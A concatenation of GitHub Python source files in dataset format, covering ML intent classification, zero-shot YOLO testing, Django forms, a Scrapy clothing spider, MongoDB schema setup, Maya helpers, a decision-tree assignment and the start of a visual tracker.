self.mod='infer'\n sents=[]\n for sent in sent_list:\n sent=sent.replace(' ','')\n sents.append(' '.join([e for e in jieba.cut(sent)]))\n sent_vec=self.count_vect.transform(sents)\n\n\n if classifier_name=='ALL':\n classifier_names=classifiers\n else:\n classifier_names=classifier_name\n\n out_dict={}\n for class_name in classifier_names:\n if class_name not in classifiers:\n _logger.error('没有该分类方法')\n elif class_name=='NB':\n predict_out=self.NB_clf.predict(sent_vec.toarray())\n out_dict[class_name]=predict_out\n elif class_name=='SVM':\n predict_out = self.SVM_clf.predict(sent_vec.toarray())\n out_dict[class_name] = predict_out\n # elif class_name=='KNN':\n # predict_out = self.KNN_clf.predict(sent_vec.toarray())\n # out_dict[class_name] = predict_out\n elif class_name=='LR':\n predict_out = self.LR_clf.predict(sent_vec.toarray())\n out_dict[class_name] = predict_out\n elif class_name=='RF':\n predict_out = self.RF_clf.predict(sent_vec.toarray())\n out_dict[class_name] = predict_out\n elif class_name=='DT':\n predict_out = self.DT_clf.predict(sent_vec.toarray())\n out_dict[class_name] = predict_out\n\n return out_dict\n\n\n def train(self,classifier_names):\n '''\n 训练模块\n :param classifier_names:\n :return:\n '''\n for ele in classifier_names:\n _logger.info('is train %s'%ele)\n yield self._train(ele)\n#\n\n\nif __name__ == '__main__':\n idb=IntentMl('Classifier')\n # parser = argparse.ArgumentParser()\n # parser.add_argument('--train_name', required=True, help='input train name')\n # parser.add_argument('--dev_name',required=True, help='input dev name')\n # args = parser.parse_args()\n # train_name=args.train_name\n # dev_name=args.dev_name\n train_name=config.train_name\n dev_name=config.dev_name\n idb.build_model()\n print(idb.id2intent)\n for e in idb.train(classifiers):\n for ee in e:\n print(ee)\n\n","repo_name":"markWJJ/Intent_Detection","sub_path":"model/ml_model/intent_ml.py","file_name":"intent_ml.py","file_ext":"py","file_size_in_byte":9648,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"36"} +{"seq_id":"19877083377","text":"\"\"\"\nTest zero-shot YOLO detection model on unseen classes.\n\"\"\"\nimport collections\nimport json\nimport os\n\nimport numpy as np\nfrom PIL import Image\nfrom tensorflow.python.keras import backend as K\nfrom tensorflow.python.keras.layers import Input\nfrom tqdm import tqdm\n\nfrom yolo.model import yolo_body, yolo_eval\nfrom yolo.utils import letterbox_image\n\nfrom zsd_train import get_embeddings, get_categories, get_anchors\n\n# seen_classes = ['aeroplane', 'bicycle', 'bird', 'boat', 'bottle', 'bus', 'cat', 'chair', 'cow', 'diningtable',\n# 'horse', 'motorbike', 'person', 'pottedplant', 'sheep', 'tvmonitor']\n#\n# unseen_classes = ['car', 'dog', 'sofa', 'train']\n#\n# total_classes = seen_classes + unseen_classes\n\n\nclass YOLO(object):\n def __init__(self):\n self.weight_path = 'logs/voc_04/trained_weights_sigmoid.h5'\n self.anchors_path = 'data/yolo_anchors.txt'\n self.attribute_path = 'model_data/attributes.npy'\n\n self.predict_dir = 'predicted/'\n self.score = 0.001\n self.iou = 0.5\n self.num_seen = 80\n self.anchors = get_anchors(self.anchors_path)\n self.sess = K.get_session()\n self.model_image_size = (416, 416) # fixed size or (None, None), hw\n self.seen_classes = get_categories(\"ZJLAB_ZSD_2019/instances_train.json\")\n self.unseen_classes = self._get_unseen_categories()\n self.boxes, self.scores, self.classes = self.generate()\n\n def get_unseen_embeddings(self):\n with open(\"unseen_GloVe.json\") as f:\n embeddings = json.load(f)\n embeddings = dict((self.unseen_classes.index(k), v) for k, v in embeddings.items())\n # order by class id\n embeddings = collections.OrderedDict(sorted(embeddings.items()))\n return np.array([v[0] for k,v in embeddings.items()])\n\n def _get_unseen_categories(self):\n with open(\"clsname2id_20k.json\") as f:\n categories = json.load(f)\n id2clsname = dict((int(v) - 20, k) for k, v in categories.items())\n unseen_classes = collections.OrderedDict(sorted(id2clsname.items()))\n return list(unseen_classes.values())\n\n def get_attribute(self):\n unseen_embeddings = self.get_unseen_embeddings()\n\n # load seen_classes\n embeddings = get_embeddings(\"ZJLAB_ZSD_2019/seen_embeddings_GloVe.json\", self.seen_classes)\n return np.concatenate((embeddings, unseen_embeddings), axis=0)\n\n def generate(self):\n model_path = os.path.expanduser(self.weight_path)\n assert model_path.endswith('.h5'), 'Keras model or weights must be a .h5 file.'\n\n # Load model, or construct model and load weights.\n num_anchors = len(self.anchors)\n\n self.yolo_model = yolo_body(Input(shape=(None, None, 3)), self.num_seen, num_anchors // 3)\n self.yolo_model.load_weights(self.weight_path, by_name=True)\n print('{} model, anchors and classes loaded.'.format(model_path))\n\n # Generate output tensor targets for filtered bounding boxes.\n attribute = self.get_attribute()\n self.input_image_shape = K.placeholder(shape=(2,))\n boxes, scores, classes = yolo_eval(self.yolo_model.output, self.anchors, self.num_seen,\n attribute, self.input_image_shape,\n score_threshold=self.score, iou_threshold=self.iou)\n return boxes, scores, classes\n\n def detect_image(self, image_path):\n image = Image.open(image_path)\n\n if self.model_image_size != (None, None):\n assert self.model_image_size[0] % 32 == 0, 'Multiples of 32 required'\n assert self.model_image_size[1] % 32 == 0, 'Multiples of 32 required'\n boxed_image = letterbox_image(image, tuple(reversed(self.model_image_size)))\n else:\n new_image_size = (image.width - (image.width % 32),\n image.height - (image.height % 32))\n boxed_image = letterbox_image(image, new_image_size)\n image_data = np.array(boxed_image, dtype='float32')\n\n image_data /= 255.\n image_data = np.expand_dims(image_data, 0) # Add batch dimension.\n\n out_boxes, out_scores, out_classes = self.sess.run(\n [self.boxes, self.scores, self.classes],\n feed_dict={\n self.yolo_model.input: image_data,\n self.input_image_shape: [image.size[1], image.size[0]],\n K.learning_phase(): 0\n })\n\n image_name = image_path.split('/')[-1].split('.')[0]\n with open(os.path.join(self.predict_dir, image_name + '.txt'), 'w') as f:\n f.write(image_name)\n for i, c in enumerate(out_classes):\n class_name = self.unseen_classes[c]\n confidence = out_scores[i]\n box = out_boxes[i]\n\n top, left, bottom, right = box\n top = max(0, np.floor(top + 0.5).astype('int32'))\n left = max(0, np.floor(left + 0.5).astype('int32'))\n bottom = min(image.size[1], np.floor(bottom + 0.5).astype('int32'))\n right = min(image.size[0], np.floor(right + 0.5).astype('int32'))\n f.write('{} {} {} {} {} {}\\n'.format(left, top, right, bottom, confidence, class_name))\n\n def close_session(self):\n self.sess.close()\n\n\ndef _main():\n test_path = 'data/test.txt'\n\n yolo = YOLO()\n with open(test_path) as rf:\n test_img = rf.readlines()\n test_img = [c.strip() for c in test_img]\n\n for img in tqdm(test_img):\n img_path = img.split()[0]\n yolo.detect_image(img_path)\n K.clear_session()\n\n\nif __name__ == '__main__':\n os.environ['CUDA_VISIBLE_DEVICES'] = '0'\n _main()\n","repo_name":"chuxi/zsd-yolov3","sub_path":"zsd_test.py","file_name":"zsd_test.py","file_ext":"py","file_size_in_byte":5731,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"36"} +{"seq_id":"25552649819","text":"from django import forms\nfrom .models import SubscribedUser\nimport re\n\ndef getTextInputSetting():\n return forms.TextInput(attrs={'class': 'vertical-form-group__text'})\n\nclass SubscribedUserForm(forms.ModelForm):\n\n class Meta:\n model = SubscribedUser\n fields = ['name', 'mail_address']\n\n name = forms.CharField(required=True, max_length=256, widget=getTextInputSetting())\n mail_address = forms.EmailField(required=True, max_length=256, widget=getTextInputSetting())\n","repo_name":"tank-homes/yokohama_car","sub_path":"source/app/mailMagazine/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":491,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"16845555529","text":"from scrapy import Spider, Request\nfrom scrapers.items import Product\nfrom bs4 import BeautifulSoup\n\n\nclass BirdsongSpider(Spider):\n name = 'Birdsong'\n allowed_domains = ['birdsong.london']\n\n def __init__(self, *a, **kw):\n super(BirdsongSpider, self).__init__(*a, **kw)\n self._max_pages = 5\n self.urls = [\n {\"value\": \"https://birdsong.london/product-category/clothing/tops/\", \"gender\": [\"women\"]},\n {\"value\": \"https://birdsong.london/product-category/clothing/knitwear/\", \"gender\": [\"women\"]},\n {\"value\": \"https://birdsong.london/product-category/clothing/coats/\", \"gender\": [\"women\"]},\n {\"value\": \"https://birdsong.london/product-category/clothing/dresses/\", \"gender\": [\"women\"]},\n {\"value\": \"https://birdsong.london/product-category/clothing/skirts-and-shorts/\", \"gender\": [\"women\"]},\n ]\n\n def start_requests(self):\n for i in range(1, self._max_pages+1):\n for url in self.urls:\n url_val = url['value'] + 'page/' + str(i)\n yield Request(url_val, callback=self.parse_store, meta={'brand': self.name, 'gender': url['gender']})\n\n def parse_store(self, response):\n urls = response.xpath('//a[@class=\"woocommerce-LoopProduct-link woocommerce-loop-product__link\"]/@href').extract()\n for url in urls:\n yield Request(url, callback=self.parse_product_page, meta={'brand': response.meta['brand'], 'gender': response.meta['gender']})\n\n def parse_product_page(self, response):\n p = Product()\n p['name'] = self.get_name(response)\n p['url'] = response.url\n p['description'] = self.get_description(response)\n p['image_url'] = self.get_image_urls(response)\n p['price'] = self.get_price(response)\n p['currency'] = 'GBP'\n p['brand'] = response.meta['brand']\n p['gender'] = response.meta['gender']\n yield p\n\n def get_name(self, response):\n name = response.xpath('//h1[@itemprop=\"name\"]/text()').extract_first()\n return name\n\n def get_image_urls(self, response):\n urls = response.xpath('//div[@class=\"product-image\"]/img/@src').extract()\n return urls\n\n def get_description(self, response):\n description = response.xpath('//div[@itemprop=\"description\"]').extract()\n return BeautifulSoup(description[0], 'lxml').text\n\n def get_price(self, response):\n price = response.xpath('//p[@class!=\"cart-prod-subtotal\"]//span[@class=\"woocommerce-Price-amount amount\"]/text()').extract_first()\n price = price.replace(',', '.')\n return float(price)\n","repo_name":"pbnsilva/cerebel","sub_path":"jobs/scrapers/scrapers/spiders/birdsong.py","file_name":"birdsong.py","file_ext":"py","file_size_in_byte":2634,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"2884681559","text":"# coding:utf-8\n# @Time : 2019-04-02 11:29\n# @Author: Xiawang\n# from backend.OperationMysql import OperationMysql\n\n# op_mysql = OperationMysql()\nfrom flask_restful import Resource, reqparse\n\n\nclass getUserId(Resource):\n \"\"\" 获取用户id \"\"\"\n\n def get(self):\n\n parser = reqparse.RequestParser()\n parser.add_argument('phone', type=str, help=\"请输入正确手机号\", required=True)\n args = parser.parse_args()\n try:\n # userid = op_mysql.search_all(\"SELECT userId FROM r_resume where phone = %s\" % args['phone'])\n state = 1\n # info = userid[0]\n except:\n state = 400\n info = \"找不到userId, 请确认下手机号填写是否正确\"\n return {'state': state, 'content': info}\n","repo_name":"Ariaxie-1985/aria","sub_path":"backend/resources/data/get_userid.py","file_name":"get_userid.py","file_ext":"py","file_size_in_byte":779,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"28721978318","text":"# usage: python grids.py \n# creates an empty collection in the argo db called with schema validation enforcement and defined indexes\n\nfrom pymongo import MongoClient\nimport sys\n\ngrid = sys.argv[1]\nclient = MongoClient('mongodb://database/argo')\ndb = client.argo\n\ndb[grid].drop()\ndb.create_collection(grid)\n\ngridSchema = {\n \"bsonType\": \"object\",\n \"required\": [\"_id\", \"metadata\",\"geolocation\",\"data\",\"basin\",\"timestamp\"],\n \"properties\": {\n \"_id\": {\n \"bsonType\": \"string\"\n },\n \"metadata\": {\n \"bsonType\": \"array\",\n \"items\": {\n \"bsonType\": \"string\"\n }\n },\n \"geolocation\": {\n \"bsonType\": \"object\",\n \"required\": [\"type\", \"coordinates\"],\n \"properties\": {\n \"type\":{\n \"enum\": [\"Point\"]\n },\n \"coordinates\":{\n \"bsonType\": \"array\",\n \"minItems\": 2,\n \"maxItems\": 2,\n \"items\": {\n \"bsonType\": [\"double\", \"int\"]\n }\n }\n }\n },\n \"basin\": {\n \"bsonType\": \"int\"\n },\n \"timestamp\": {\n \"bsonType\": [\"date\", \"null\"]\n },\n \"data\": {\n \"bsonType\": \"array\",\n \"items\": {\n \"bsonType\": \"array\",\n \"items\": {\n \"bsonType\": [\"double\", \"int\", \"string\", \"null\"]\n }\n }\n }\n }\n}\n\ndb.command('collMod',grid, validator={\"$jsonSchema\": gridSchema}, validationLevel='strict')\ndb[grid].create_index([(\"metadata\", 1)])\ndb[grid].create_index([(\"timestamp\", -1), (\"geolocation\", \"2dsphere\")])\ndb[grid].create_index([(\"timestamp\", -1)])\ndb[grid].create_index([(\"geolocation\", \"2dsphere\")])\n\n","repo_name":"argovis/db-schema","sub_path":"grids.py","file_name":"grids.py","file_ext":"py","file_size_in_byte":1875,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"36587137415","text":"# 드래곤 커브\nimport sys\ninput = sys.stdin.readline\n\ndx = [0, -1, 0, 1]\ndy = [1, 0, -1, 0]\nboard = [[0] * 101 for _ in range(101)]\n\nfor _ in range(int(input())):\n y, x, d, g = map(int, input().split())\n board[x][y] = 1\n temp = [d]\n q = [d]\n for _ in range(g+1):\n for i in q:\n x += dx[i]\n y += dy[i]\n board[x][y] = 1\n q = [(t+1)%4 for t in temp]\n q.reverse()\n temp += q\n\nans = 0\n\nfor i in range(100):\n for j in range(100):\n if board[i][j] and board[i][j+1] and board[i+1][j] and board[i+1][j+1]:\n ans += 1\n\nprint(ans)\n","repo_name":"meatsby/algorithm","sub_path":"boj/15685.py","file_name":"15685.py","file_ext":"py","file_size_in_byte":619,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"8498386069","text":"# coding=utf-8\n\nimport os\nimport re\nimport maya.cmds as cmds\n\n\nclass MayaShadingNode:\n def __init__(self):\n self._node = None\n\n @property\n def node(self):\n return self._node\n\n @node.setter\n def node(self, node):\n self._node = node\n\n def set_attribute(self, attr, val, type_=\"int\"):\n attr_name = self._node + '.' + attr\n if type_ == \"int\":\n cmds.setAttr(attr_name, val)\n elif type_ == \"string\":\n cmds.setAttr(attr_name, val, typ=type_)\n elif type_ == \"bool\":\n cmds.setAttr(attr_name, val)\n elif type_ == \"double3\":\n cmds.setAttr(attr_name, val[0], val[1], val[2], typ=type_)\n\n def connect_attribute(self, src, attr, attr_=None):\n src_attr = src + '.' + attr\n if attr_ is None:\n dst_attr = self._node + '.' + attr\n cmds.connectAttr(src_attr, dst_attr)\n else:\n dst_attr = self._node + '.' + attr_\n cmds.connectAttr(src_attr, dst_attr)\n\n\nclass TextureFileManager:\n FILE_TYPE = {\"jpg\", \"jpeg\", \"png\", \"PNG\", \"exr\", \"tx\", \"tex\", \"tiff\"}\n\n def __init__(self, path):\n self._path = path\n self._dir_path = None\n self._name = None\n self._file_type = None\n self._udim = False\n\n @property\n def path(self):\n return self._path\n\n @property\n def dir_path(self):\n return self._dir_path\n\n @property\n def name(self):\n return self._name\n\n @property\n def file_type(self):\n return self._file_type\n\n @property\n def udim(self):\n return self._udim\n\n def get_file_name(self, value):\n name_elements = value.split('.')\n name_set = set(name_elements)\n if name_set.intersection(self.FILE_TYPE):\n self._name = name_elements[0]\n else:\n print(\"Error: This can't be defined as a ! Check your values! - {0}\".format(value))\n\n def get_file_type(self, value):\n name_elements = value.split('.')\n name_set = set(name_elements)\n if name_set.intersection(self.FILE_TYPE):\n self._file_type = name_elements[-1]\n else:\n print(\"Error: This can't be defined as a ! Check your values! - {0}\".format(value))\n\n def is_udim(self, value):\n if '.' in value:\n division = value.split('.')\n number_filter = re.search(\"\\d\\d\\d\\d\", division[1])\n if number_filter:\n self._udim = True\n\n def get_texture_info(self):\n self._dir_path = os.path.dirname(self._path)\n file_name = os.path.basename(self._path)\n self.get_file_name(file_name)\n self.get_file_type(file_name)\n self.is_udim(file_name)","repo_name":"veinfx/AutoShaderScript_MayaEdu","sub_path":"scripts/Lib/MayaMaterial.py","file_name":"MayaMaterial.py","file_ext":"py","file_size_in_byte":2743,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"13372310918","text":"\nimport os\nimport copy\n\nimport numpy as np\nimport pandas as pd\n\nfrom numpy import log2\nfrom sklearn.preprocessing import OrdinalEncoder\nfrom collections import Counter\n\n\n#Data reading ->\ndata_train = pd.read_csv(os.getcwd()+'/adult.train.10k.discrete', sep=\",\", header=None)\ndata_train.columns = ['label','workclass','education','marital-status','occupation',\n 'relationship','race','sex','native-country']\ndata_test = pd.read_csv(os.getcwd()+'/adult.test.10k.discrete', sep=\",\", header=None)\ndata_test.columns = ['label','workclass','education','marital-status','occupation',\n 'relationship','race','sex','native-country']\n\n#Data preprocessing ->\nenc = OrdinalEncoder()\ndata_encoded_train = enc.fit_transform(data_train)\nfeature_list = ['workclass','education','marital-status','occupation',\n 'relationship','race','sex','native-country']\nfeatures_dict = {1:'workclass',2:'education',3:'marital-status',4:'occupation',5:'relationship'\n ,6:'race',7:'sex',8:'native-country'}\n\nvalue_dict = {label_item[1]:{item[0]:item[1] for item in enumerate(enc.categories_[label_item[0]])} \n for label_item in enumerate(data_train.columns)}\nfeature_list_idx = list(range(1,data_encoded_train.shape[1]))\n\ndef makeTree(X, features_dict,feature_list,value_dict):\n \"\"\"\n Core function of the code. In this function the tree grows gradually from the root. \n Tree growth is guided by ID3 alghorithm.\n \n Inputs -->\n X : ordinary encoded train data\n feature_dict : a dict contains features name associated by their indexes\n features_list : contains features name\n value_dict : dictionary contain each feature and label indexes\n return -->\n return full grown tree by training data\n\n\n \"\"\"\n X = copy.deepcopy(X)\n \n default = Counter(X[:,0]).most_common(1)[0][0]\n \n # If the dataset is empty or the attributes list is empty, return the\n # default value. When checking the attributes list for emptiness, we\n # need to subtract 1 to account for the target attribute.\n if X.shape[0] == 1 or (len(feature_list) - 1) <= 0:\n return default\n \n # If all the records in the dataset have the same classification,\n # return that classification.\n elif np.unique(X[:,0]).size == 1:\n return default \n\n else:\n # Choose the next best attribute to best classify our data\n parent_entropy = entropy(X[:,0])\n gain_dic = {}\n\n for feature_idx in feature_list:\n gain_dic[feature_idx] = gain_cal(X[:,feature_idx],parent_entropy)\n\n best_feature_idx = max(gain_dic,key=gain_dic.get)\n\n tree = {features_dict[best_feature_idx]:{}}\n\n feature_unique_value = value_dict[features_dict[best_feature_idx]].keys()\n\n for val in feature_unique_value:\n examples = X[X[:,best_feature_idx] == val,:]\n \n if examples.shape[0] != 0:\n \n newAttr = feature_list[:]\n newAttr.remove(best_feature_idx)\n subtree = makeTree(examples,features_dict, newAttr,value_dict)\n tree[features_dict[best_feature_idx]][value_dict[features_dict[best_feature_idx]][val]] = subtree\n\n tree[features_dict[best_feature_idx]]['voted'] = default\n \n return tree\n\ndef prunning(tree,recursion,treshold):\n \"\"\"\n Clear by name this function prune the tree.\n\n input -->\n tree : dic format full grown tree\n recursion : indicated the depth of tree tree \n treshold : indicated in whiche depth prunning will happen\n return -->\n pruned tree\n \"\"\"\n \n recursion += 1\n\n if recursion == treshold:\n if 'voted' in tree.keys():\n keys = list(tree.keys())\n for key in filter(lambda key: key!='voted',keys):\n tree.pop(key)\n return tree\n \n for node,subtree in tree.items():\n if isinstance(subtree,dict):\n tree[node] = prunning(subtree,recursion,treshold)\n\n return tree\n\ndef count_leaf(tree, c):\n \"\"\"\n this function counts number of leaf and non-leaf nodes\n\n inpute ->\n tree : constructed tree\n c : empty tree\n return ->\n tree contains number of leaf and non-leaf\n \"\"\"\n c['non-leaf']+=1 #count non-leaf nodes\n nodes = tree.keys()\n for node in nodes:\n subtrees = tree[node].values()\n for subtree in subtrees:\n if isinstance(subtree, dict): \n count_leaf(subtree,c)\n else:\n c['leaf']+=1 #count leaf nodes and remove 'voted'\n\n return c\n\ndef entropy(y):\n \"\"\"\n inpute -->\n y : list of labales\n return -->\n entropy of inpute list\n \"\"\"\n count_labels = Counter(y)\n n = y.shape[0]\n entropy = 0\n if count_labels[0] != 0 & count_labels[1] !=0: \n entropy = -(count_labels[0]/n)*log2(count_labels[0]/n)-(count_labels[1]/n)*log2(count_labels[1]/n)\n return entropy\n\ndef gain_cal(x,parent_entropy):\n \"\"\"\n calculate gain\n \n inpute ->\n x: inpute sequence of data\n parent_entropy: associated entropy\n return ->\n gain\n \"\"\"\n cnt_values = Counter(x)\n gain = parent_entropy\n for item in cnt_values.items():\n gain -= (-(item[1]/x.shape[0]) * log2(item[1]/x.shape[0]))\n return gain\n\n\ndef predictation(tree,record,label,value_dict):\n \"\"\"\n Prediction each instance of data by tree\n\n Inpute: tree -> dict type data\n record: one instance of data in pandas dataFram format\n label: associated label \n\n return : predicted label > '<=50K' or '>50K'\n \"\"\"\n temptree = tree.copy()\n while isinstance(temptree,dict):\n #if (record[list(temptree.keys())[0]] != 'voted') & (record[list(temptree.keys())[0]] in list(temptree[list(temptree.keys())[0]].keys())):\n if record[list(temptree.keys())[0]] in list(temptree[list(temptree.keys())[0]].keys()):\n temptree = temptree[list(temptree.keys())[0]][record[list(temptree.keys())[0]]]\n else:\n return value_dict['label'][temptree[list(temptree.keys())[0]]['voted']]\n predict = value_dict['label'][temptree]\n return predict\n\ndef evaluation(tree,dataset,value_dict):\n \"\"\"\n This function evaluates the inpute tree by inpute datasets.\n \n Inpute -> \n tree : dict type data\n datasets: unencoded dataFrame\n value_dict: dictionary contain each feature and label indexes\n return ->\n accuracy of tree in Associated tree\n \"\"\"\n\n correct = 0\n for idx in range(dataset.shape[0]):\n \n record = dataset.iloc[idx,1:]\n label = dataset.iloc[idx,0]\n predict = predictation(tree,record,label,value_dict)\n if predict == label:\n correct += 1\n \n return (correct / dataset.shape[0])*100\n\ndef questions_one(data_train,data_test,data_encoded_train,feature_list,feature_list_idx,value_dict,sampling_ratio,rng):\n \"\"\"\n All part of question one implemented here. \n \n inputs ->\n data_train : unencoded training dataframe \n data_test : unencoded test dataframe\n data_encoded_train : ordinary encoded train data np array\n feature_list : contains feature name \n feature_list_idx : associated feature idx\n value_dict : dictionary contain each feature and label indexes\n sampling_ration : demonstrate share of the training data\n rng : seed object for random generation\n\n return ->\n associated result in dictionary format \n \"\"\"\n\n result = {'iteration': [],'leaf':[],'train_accuracy':[],'test_accuracy':[]}\n \n for iteration in range(3):\n \n random_idx = rng.choice(data_train.shape[0],size = int(data_train.shape[0] * sampling_ratio),replace = False)\n data_train_sample = data_encoded_train[random_idx,:] \n \n tree = makeTree(data_train_sample,features_dict,feature_list_idx,value_dict) \n \n cnt_leaf = count_leaf(tree, {'non-leaf':0, 'leaf':0})\n train_accuracy = evaluation(tree,data_train,value_dict)\n test_accuracy = evaluation(tree,data_test,value_dict)\n \n result['iteration'].append(iteration)\n result['leaf'].append(cnt_leaf['leaf'])\n result['train_accuracy'].append(train_accuracy)\n result['test_accuracy'].append(test_accuracy)\n \n print(f'Constructed tree by {sampling_ratio*100} percent of train data, Iteration {iteration+1}:')\n print(f'Train Accuracy : {train_accuracy:.2f} | Test Accuracy : {test_accuracy:.2f}')\n print(f'Leaf Nodes: {cnt_leaf[\"leaf\"]}')\n print(' ')\n \n print('-------------------------------------------')\n \n\n return result\n\ndef questions_two(data_train,data_test,data_encoded_train,feature_list,feature_list_idx,value_dict,section,rng):\n \"\"\"\n part a and b of question two implemented here. \n inputs ->\n data_train : unencoded training dataframe \n data_test : unencoded test dataframe\n data_encoded_train : ordinary encoded train data np array\n feature_list : contains feature name \n feature_list_idx : associated feature idx\n value_dict : dictionary contain each feature and label indexes\n section : assert the section of question\n rng : seed object for random generation\n\n return ->\n associated result in dictionary format \n\n \"\"\"\n \n train_idx = rng.choice(np.array(range(data_encoded_train.shape[0])), size = int(data_encoded_train.shape[0] * 0.75),replace = False)\n valid_idx = np.delete(np.array(range(data_train.shape[0])), train_idx)\n \n if section == 'a':\n print('Part a')\n tree = makeTree(data_encoded_train[train_idx,:],features_dict,feature_list_idx,value_dict)\n elif section == 'b':\n print('Part b')\n tree = makeTree(data_encoded_train[:,:],features_dict,feature_list_idx,value_dict)\n \n print('Full tree number of leaf node:',count_leaf(tree,{'non-leaf':0, 'leaf':0})['leaf'])\n \n result = {'leaf':[],'train_accuracy':[],'valid_accuracy':[],'test_accuracy':[]}\n \n for iteration,treshold in enumerate(list(range(20)[::2])):\n temptree = copy.deepcopy(tree)\n pruned_tree = prunning(temptree,0,treshold) \n \n if section == 'a':\n train_accuracy = evaluation(pruned_tree,data_train.iloc[train_idx,:],value_dict)\n elif section == 'b':\n train_accuracy = evaluation(pruned_tree,data_train,value_dict)\n\n valid_accuracy = evaluation(pruned_tree,data_train.iloc[valid_idx,:],value_dict)\n test_accuracy = evaluation(pruned_tree,data_test,value_dict)\n cnt_leaf = count_leaf(pruned_tree,{'non-leaf':0, 'leaf':0})\n \n result['leaf'].append(cnt_leaf['leaf'])\n result['train_accuracy'].append(train_accuracy)\n result['valid_accuracy'].append(valid_accuracy)\n result['test_accuracy'].append(test_accuracy)\n \n \n print(f'Iteration : {iteration} | Treshold : {treshold}')\n print(f'Number of leaf: {cnt_leaf[\"leaf\"]}')\n print(f'Train accuracy: {train_accuracy:.2f} | Valid accuracy: {valid_accuracy:.2f} | Test accuracy: {test_accuracy:.2f}')\n print(' ')\n \n return result\n\ndef questions_two_bonus(data_encoded_train,data_train,data_test,feature_list,feature_list_idx,value_dict):\n \n \"\"\"\n last part of question two implemented here. \n inputs ->\n data_train : unencoded training dataframe \n data_test : unencoded test dataframe\n data_encoded_train : ordinary encoded train data np array\n feature_list : contains feature name \n feature_list_idx : associated feature idx\n value_dict : dictionary contain each feature and label indexes\n\n return ->\n associated result in dictionary format \n \"\"\"\n interval = int(data_encoded_train.shape[0]/4)\n \n result = {}\n \n for k in range(4):\n \n result[k+1] = {}\n valid_idx = np.array(range(k*(interval),(k+1)*interval))\n train_idx = np.delete(np.array(range(data_train.shape[0])), valid_idx)\n\n tree = makeTree(data_encoded_train[train_idx,:],features_dict,feature_list_idx,value_dict) \n \n print(f'Full tree number of leaf node:',count_leaf(tree,{'non-leaf':0, 'leaf':0})['leaf'],f'in {k+1}th fold')\n result[k+1]['leaf'] = []\n result[k+1]['train_accuracy'] = []\n result[k+1]['valid_accuracy'] = []\n result[k+1]['test_accuracy'] = []\n \n for iteration,treshold in enumerate(list(range(20))[2::2]):\n \n temptree = copy.deepcopy(tree)\n pruned_tree = prunning(temptree,0,treshold)\n \n train_accuracy = evaluation(pruned_tree,data_train.iloc[train_idx,:],value_dict)\n valid_accuracy = evaluation(pruned_tree,data_train.iloc[valid_idx,:],value_dict)\n test_accuracy = evaluation(pruned_tree,data_test,value_dict)\n cnt_leaf = count_leaf(pruned_tree,{'non-leaf':0, 'leaf':0})\n \n result[k+1]['leaf'].append(cnt_leaf['leaf'])\n result[k+1]['train_accuracy'].append(train_accuracy)\n result[k+1]['valid_accuracy'].append(valid_accuracy)\n result[k+1]['test_accuracy'].append(test_accuracy)\n \n print(f'Fold: {k+1}')\n print(f'Iteration : {iteration} ')\n print(f'Number of leaf: {cnt_leaf[\"leaf\"]}')\n print(f'Train accuracy: {train_accuracy:.2f} | Valid accuracy: {valid_accuracy:.2f} | Test accuracy: {test_accuracy:.2f}')\n print(' ')\n \n return result\n\nif __name__ == '__main__':\n rng = np.random.default_rng(seed=3138)\n\n #----------Question One------------\n print('Question one part a: ')\n result = questions_one(data_train,data_test,data_encoded_train,feature_list,feature_list_idx,value_dict,0.3,rng)\n np.save(os.getcwd()+'/result_q_1.npy', result)\n \n print('Question one part b: ')\n for sampling_ratio in [0.4,0.5,0.6,0.7]:\n result = questions_one(data_train,data_test,data_encoded_train,feature_list,feature_list_idx,value_dict,sampling_ratio,rng)\n np.save(os.getcwd()+f'/result_q_1_p_b_sampling_{sampling_ratio}.npy', result)\n \n #----------Question Two-----------\n result = questions_two(data_train,data_test,data_encoded_train,feature_list,feature_list_idx,value_dict,'a',rng)\n np.save(os.getcwd()+'/result_q_2_p_a.npy', result) \n\n result = questions_two(data_train,data_test,data_encoded_train,feature_list,feature_list_idx,value_dict,'b',rng)\n np.save(os.getcwd()+'/result_q_2_p_a.npy', result) \n\n result = questions_two_bonus(data_train,data_test,data_encoded_train,feature_list,feature_list_idx,value_dict,'b',rng)\n np.save(os.getcwd()+'/result_q_2_p_bounos.npy', result) \n\n\n\n\n ","repo_name":"AmEskandari/machine-learning-course-AUT","sub_path":"decision tree/tree.py","file_name":"tree.py","file_ext":"py","file_size_in_byte":14877,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"26721495259","text":"\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\n\nimport os\nimport cv2\nimport math\nimport torch\nimport pickle\nimport importlib\nimport numpy as np\nimport torch.nn as nn\nimport torch.nn.functional as F\n\nfrom siamreppoints.core.config import cfg\nfrom siamreppoints.tracker.base_tracker import SiameseTracker\nfrom siamreppoints.tracker.optim import ConvProblem, FactorizedConvProblem\n\nfrom pytracking.features import augmentation\nfrom pytracking import dcf, fourier, TensorList, operation\nfrom pytracking.features.preprocessing import numpy_to_torch, sample_patch, torch_to_numpy\nfrom pytracking.libs.optimization import GaussNewtonCG, ConjugateGradient, GradientDescentL2\n\nclass SiamReppointsTracker(SiameseTracker):\n def __init__(self, model):\n super(SiamReppointsTracker, self).__init__()\n self.score_size = (cfg.TRACK.INSTANCE_SIZE - cfg.TRACK.EXEMPLAR_SIZE) // \\\n cfg.ANCHOR.STRIDE + 1 + cfg.TRACK.BASE_SIZE\n hanning = np.hanning(self.score_size)\n window = np.outer(hanning, hanning)\n self.window = window.reshape(-1)\n self.model = model\n self.model.eval()\n \n self.mem_step = cfg.TRACK.MEM_STEP\n self.mem_len = cfg.TRACK.MEM_LEN\n self.st_mem_coef = 